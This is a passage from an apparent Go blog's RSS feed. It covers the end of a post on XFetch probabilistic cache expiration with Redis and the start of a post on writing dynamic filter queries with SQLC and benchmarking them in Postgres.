</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Message</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Expiry</span>  <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Time</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Delta</span>   <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Duration</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>I add a function to wrap the original message with these attributes &amp; serialize it for storing in redis:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">wrapMessage</span>(<span style="color:#a6e22e">message</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">delta</span>, <span style="color:#a6e22e">cacheTTL</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Duration</span>) (<span style="color:#66d9ef">string</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">bts</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">Marshal</span>(<span style="color:#a6e22e">probabilisticValue</span>{
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">Message</span>: <span style="color:#a6e22e">message</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">Delta</span>:   <span style="color:#a6e22e">delta</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">Expiry</span>:  <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Now</span>().<span style="color:#a6e22e">Add</span>(<span style="color:#a6e22e">cacheTTL</span>),
</span></span><span style="display:flex;"><span>	})
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;could not marshal message: %w&#34;</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> string(<span style="color:#a6e22e">bts</span>), <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>Let&rsquo;s also write a method to recompute and store the value in redis:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">ch</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">handler</span>) <span style="color:#a6e22e">recomputeValue</span>(<span style="color:#a6e22e">ctx</span> <span style="color:#a6e22e">context</span>.<span style="color:#a6e22e">Context</span>, <span style="color:#a6e22e">cacheKey</span> <span style="color:#66d9ef">string</span>) (<span style="color:#66d9ef">string</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">start</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Now</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">message</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">longRunningOperation</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">delta</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Since</span>(<span style="color:#a6e22e">start</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">wrapped</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">wrapMessage</span>(<span style="color:#a6e22e">message</span>, <span style="color:#a6e22e">delta</span>, <span style="color:#a6e22e">ch</span>.<span style="color:#a6e22e">cacheTTL</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;could not wrap message: %w&#34;</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">err</span> = <span style="color:#a6e22e">ch</span>.<span style="color:#a6e22e">rdb</span>.<span style="color:#a6e22e">Set</span>(<span style="color:#a6e22e">ctx</span>, <span style="color:#a6e22e">cacheKey</span>, <span style="color:#a6e22e">wrapped</span>, <span style="color:#a6e22e">ch</span>.<span style="color:#a6e22e">cacheTTL</span>).<span style="color:#a6e22e">Err</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;could not save value: %w&#34;</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">message</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>To determine if we need to update the value based on the probability, we can add a method to <code>probabilisticValue</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">pv</span> <span style="color:#a6e22e">probabilisticValue</span>) <span style="color:#a6e22e">shouldUpdate</span>() <span style="color:#66d9ef">bool</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// suggested default param in XFetch implementation</span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// if increased - results in earlier expirations</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">beta</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">1.0</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">now</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Now</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">scaledGap</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">pv</span>.<span style="color:#a6e22e">Delta</span>.<span style="color:#a6e22e">Seconds</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">beta</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">math</span>.<span style="color:#a6e22e">Log</span>(<span style="color:#a6e22e">rand</span>.<span style="color:#a6e22e">Float64</span>())
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">now</span>.<span style="color:#a6e22e">Sub</span>(<span style="color:#a6e22e">pv</span>.<span style="color:#a6e22e">Expiry</span>).<span style="color:#a6e22e">Seconds</span>() <span style="color:#f92672">&gt;=</span> <span style="color:#a6e22e">scaledGap</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>If we hook it all up we end up with the following handler:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">ch</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">handler</span>) <span style="color:#a6e22e">probabilistic</span>(<span style="color:#a6e22e">w</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ResponseWriter</span>, <span style="color:#a6e22e">r</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">cacheKey</span> <span style="color:#f92672">:=</span> <span style="color:#e6db74">&#34;probabilistic_cache_key&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// we&#39;ll use 200 to signify a cache hit &amp; 201 to signify a miss</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">responseCode</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusOK</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">cachedData</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">ch</span>.<span style="color:#a6e22e">rdb</span>.<span style="color:#a6e22e">Get</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">Context</span>(), <span style="color:#a6e22e">cacheKey</span>).<span style="color:#a6e22e">Result</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">Is</span>(<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">redis</span>.<span style="color:#a6e22e">Nil</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;could not reach redis&#34;</span>, <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Error</span>(<span style="color:#a6e22e">w</span>, <span style="color:#e6db74">&#34;could not reach redis&#34;</span>, <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusInternalServerError</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">res</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">ch</span>.<span style="color:#a6e22e">recomputeValue</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">Context</span>(), <span style="color:#a6e22e">cacheKey</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;could not recompute value&#34;</span>, <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Error</span>(<span style="color:#a6e22e">w</span>, <span style="color:#e6db74">&#34;could not recompute value&#34;</span>, <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusInternalServerError</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">responseCode</span> = <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusCreated</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">cachedData</span> = <span style="color:#a6e22e">res</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">WriteHeader</span>(<span style="color:#a6e22e">responseCode</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">_</span> = <span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">Write</span>([]byte(<span style="color:#a6e22e">cachedData</span>))
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">pv</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">probabilisticValue</span>{}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">err</span> = <span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">Unmarshal</span>([]byte(<span style="color:#a6e22e">cachedData</span>), <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">pv</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;could not unmarshal probabilistic value&#34;</span>, <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Error</span>(<span style="color:#a6e22e">w</span>, <span style="color:#e6db74">&#34;could not unmarshal probabilistic value&#34;</span>, <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusInternalServerError</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">pv</span>.<span style="color:#a6e22e">shouldUpdate</span>() {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">ch</span>.<span style="color:#a6e22e">recomputeValue</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">Context</span>(), <span style="color:#a6e22e">cacheKey</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;could not recompute value&#34;</span>, <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Error</span>(<span style="color:#a6e22e">w</span>, <span style="color:#e6db74">&#34;could not recompute value&#34;</span>, <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusInternalServerError</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">responseCode</span> = <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusAccepted</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">WriteHeader</span>(<span style="color:#a6e22e">responseCode</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">_</span> = <span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">Write</span>([]byte(<span style="color:#a6e22e">cachedData</span>))
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>The handler works much like the first one, however, upon getting a cache hit we roll the dice. Depending on the outcome we either just return the value we just fetched, or update the value early.</p>
<p>We&rsquo;ll use the HTTP status codes to determine between the 3 cases:</p>
<ul>
<li>200 - we returned the value from cache</li>
<li>201 - cache miss, no value present</li>
<li>202 - cache hit, triggered probabilistic update</li>
</ul>
<p>I start up vegeta once again this time running against the new endpoint and here&rsquo;s the result:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2024/09/23/Probabilistic-Early-Expiration-in-Go/probabilistic-res.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2024/09/23/Probabilistic-Early-Expiration-in-Go/probabilistic-res_hu_3111cc2623fb9b37.png 500w,
  /2024/09/23/Probabilistic-Early-Expiration-in-Go/probabilistic-res_hu_a59732e3e5a6b59f.png 800w,
  /2024/09/23/Probabilistic-Early-Expiration-in-Go/probabilistic-res_hu_f42c965872e7568c.png 1200w,
  /2024/09/23/Probabilistic-Early-Expiration-in-Go/probabilistic-res_hu_6e31bc739ea0f631.png 1500w'
  src="https://dizzy.zone/2024/09/23/Probabilistic-Early-Expiration-in-Go/probabilistic-res_hu_f42c965872e7568c.png" 
  alt="The histogram of http status codes over time with XFetch caching">
</a>
</div>
<p>The tiny blue blobs there indicate when we actually ended up updating the cache value early. We no longer see cache misses after the initial warm up period. To avoid the initial spike you could pre-store the cached value if this is important for your use case.</p>
<p>If you&rsquo;d like to be more aggressive with your caching and refresh the value more frequently, you can play with the beta parameter. Here&rsquo;s what the same experiment looks like with the beta param set to 2:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2024/09/23/Probabilistic-Early-Expiration-in-Go/probabilistic-res-2.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2024/09/23/Probabilistic-Early-Expiration-in-Go/probabilistic-res-2_hu_de996cb01040babb.png 500w,
  /2024/09/23/Probabilistic-Early-Expiration-in-Go/probabilistic-res-2_hu_c7f629b7d0f835ea.png 800w,
  /2024/09/23/Probabilistic-Early-Expiration-in-Go/probabilistic-res-2_hu_f79e3731eb3c246f.png 1200w,
  /2024/09/23/Probabilistic-Early-Expiration-in-Go/probabilistic-res-2_hu_6cc1fc7f0d0156ca.png 1500w'
  src="https://dizzy.zone/2024/09/23/Probabilistic-Early-Expiration-in-Go/probabilistic-res-2_hu_f79e3731eb3c246f.png" 
  alt="The histogram of http status codes over time with XFetch caching with beta of 2">
</a>
</div>
<p>We&rsquo;re now seeing probabilistic updates way more frequently.</p>
<p>All in all this is a neat little technique that can help with avoiding cache stampedes. Keep in mind though, this only works if you are periodically fetching the same key from the cache - otherwise you won&rsquo;t see much benefit.</p>
<blockquote>
<p>Got another way of dealing with cache stampedes? Noticed a mistake? Let me know in the comments below!</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>SQLC &amp; dynamic queries</title>
            <link>https://dizzy.zone/2024/07/03/SQLC-dynamic-queries/</link>
            <pubDate>Wed, 03 Jul 2024 15:54:19 +0200</pubDate>
            
            <guid>https://dizzy.zone/2024/07/03/SQLC-dynamic-queries/</guid>
            <description><![CDATA[ <p><a href="https://github.com/sqlc-dev/sqlc">SQLC</a> has become my go-to tool for interacting with databases in Go. It gives you full control over your queries since you end up writing SQL yourself. It then generates models and type safe code to interact with those queries.</p>
<p>I won&rsquo;t go over the basics here, if you feel like it you can try their <a href="https://play.sqlc.dev/">interactive playground</a>.</p>
<h2 id="dynamic-queries">Dynamic queries</h2>
<p>Frequently I end up needing to filter the data by a set of fields in the database. This set of fields is often determined by the caller, be it via REST API or other means. This means that the code I&rsquo;m writing has to support dynamic queries, where we query by a subset of fields.</p>]]></description>
            <content:encoded><![CDATA[ <p><a href="https://github.com/sqlc-dev/sqlc">SQLC</a> has become my go-to tool for interacting with databases in Go. It gives you full control over your queries since you end up writing SQL yourself. It then generates models and type safe code to interact with those queries.</p>
<p>I won&rsquo;t go over the basics here, if you feel like it you can try their <a href="https://play.sqlc.dev/">interactive playground</a>.</p>
<h2 id="dynamic-queries">Dynamic queries</h2>
<p>Frequently I end up needing to filter the data by a set of fields in the database. This set of fields is often determined by the caller, be it via REST API or other means. This means that the code I&rsquo;m writing has to support dynamic queries, where we query by a subset of fields.</p>
<p>Let&rsquo;s see an example. Assume my API returns some car data and I store it in the following table:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">CREATE</span> <span style="color:#66d9ef">TABLE</span> cars(
</span></span><span style="display:flex;"><span>  id SERIAL <span style="color:#66d9ef">PRIMARY</span> <span style="color:#66d9ef">KEY</span>, 
</span></span><span style="display:flex;"><span>  brand VARCHAR(<span style="color:#ae81ff">255</span>) <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>,
</span></span><span style="display:flex;"><span>  model VARCHAR(<span style="color:#ae81ff">255</span>) <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">year</span> INT <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">state</span> VARCHAR(<span style="color:#ae81ff">255</span>) <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>,
</span></span><span style="display:flex;"><span>  color VARCHAR(<span style="color:#ae81ff">255</span>) <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>,
</span></span><span style="display:flex;"><span>  fuel_type VARCHAR(<span style="color:#ae81ff">50</span>) <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>,
</span></span><span style="display:flex;"><span>  body_type VARCHAR(<span style="color:#ae81ff">50</span>) <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>
</span></span><span style="display:flex;"><span>);</span></span></code></pre></div>
<p>The user might want to filter by brand, or by model. Or by brand and model. Or by brand, color, model, state and body type. You get the point, there&rsquo;s a whole bunch of permutations here and SQLC is not great at handling this.</p>
<p>I usually approach it with the following SQLC query:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">FROM</span> cars
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">WHERE</span> brand <span style="color:#f92672">=</span> <span style="color:#f92672">@</span>brand <span style="color:#75715e">-- mandatory fields go in like this 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">AND</span> (<span style="color:#66d9ef">NOT</span> <span style="color:#f92672">@</span>has_model::boolean <span style="color:#66d9ef">or</span> model <span style="color:#f92672">=</span> <span style="color:#f92672">@</span>model) <span style="color:#75715e">-- optional fields follow this pattern
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">AND</span> (<span style="color:#66d9ef">NOT</span> <span style="color:#f92672">@</span>has_year::boolean <span style="color:#66d9ef">or</span> <span style="color:#66d9ef">year</span> <span style="color:#f92672">=</span> <span style="color:#f92672">@</span><span style="color:#66d9ef">year</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">AND</span> (<span style="color:#66d9ef">NOT</span> <span style="color:#f92672">@</span>has_state::boolean <span style="color:#66d9ef">or</span> <span style="color:#66d9ef">state</span> <span style="color:#f92672">=</span> <span style="color:#f92672">@</span><span style="color:#66d9ef">state</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">AND</span> (<span style="color:#66d9ef">NOT</span> <span style="color:#f92672">@</span>has_color::boolean <span style="color:#66d9ef">or</span> color <span style="color:#f92672">=</span> <span style="color:#f92672">@</span>color)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">AND</span> (<span style="color:#66d9ef">NOT</span> <span style="color:#f92672">@</span>has_fuel_type::boolean <span style="color:#66d9ef">or</span> fuel_type <span style="color:#f92672">=</span> <span style="color:#f92672">@</span>fuel_type)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">AND</span> (<span style="color:#66d9ef">NOT</span> <span style="color:#f92672">@</span>has_body_type::boolean <span style="color:#66d9ef">or</span> body_type <span style="color:#f92672">=</span> <span style="color:#f92672">@</span>body_type);</span></span></code></pre></div>
<p>It might not be the prettiest solution, but it has worked for me quite well. There are a couple of downsides though. First, the param struct that the SQLC generates contains quite a bunch of fields:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">GetCarsParams</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Brand</span>       <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">HasModel</span>    <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Model</span>       <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">HasYear</span>     <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Year</span>        <span style="color:#66d9ef">int32</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">HasState</span>    <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">State</span>       <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">HasColor</span>    <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Color</span>       <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">HasFuelType</span> <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">FuelType</span>    <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">HasBodyType</span> <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">BodyType</span>    <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>You&rsquo;ll have to handle this in your code, to set the proper ones if the user provides the relevant input. Second, people always ask me if there is a cost associated with having such a query versus using something like a query builder to build the query with specific params. To this, I always answer: &ldquo;Probably, but it&rsquo;s unlikely you&rsquo;ll notice&rdquo;.</p>
<p>I have decided to try and benchmark this, to see if there is a meaningful cost associated with it.</p>
<h2 id="benchmarking-setup">Benchmarking setup</h2>
<p>I&rsquo;ll use postgres &amp; pgbench, since I&rsquo;m only really interested in the query performance ignoring any code overhead. For schema, we&rsquo;ll use the table above.</p>
<p>We&rsquo;ll seed the data with the following query:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">INSERT</span> <span style="color:#66d9ef">INTO</span> cars(brand, model, <span style="color:#66d9ef">YEAR</span>, <span style="color:#66d9ef">state</span>, color, fuel_type, body_type)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> (<span style="color:#66d9ef">CASE</span> FLOOR(RANDOM() <span style="color:#f92672">*</span> <span style="color:#ae81ff">5</span>)::INT
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">0</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Toyota&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">1</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Ford&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">2</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Honda&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">3</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;BMW&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">4</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Tesla&#39;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">END</span>) <span style="color:#66d9ef">AS</span> brand,
</span></span><span style="display:flex;"><span>       (<span style="color:#66d9ef">CASE</span> FLOOR(RANDOM() <span style="color:#f92672">*</span> <span style="color:#ae81ff">5</span>)::INT
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">0</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Camry&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">1</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;F-150&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">2</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Civic&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">3</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;3 Series&#39;</span>
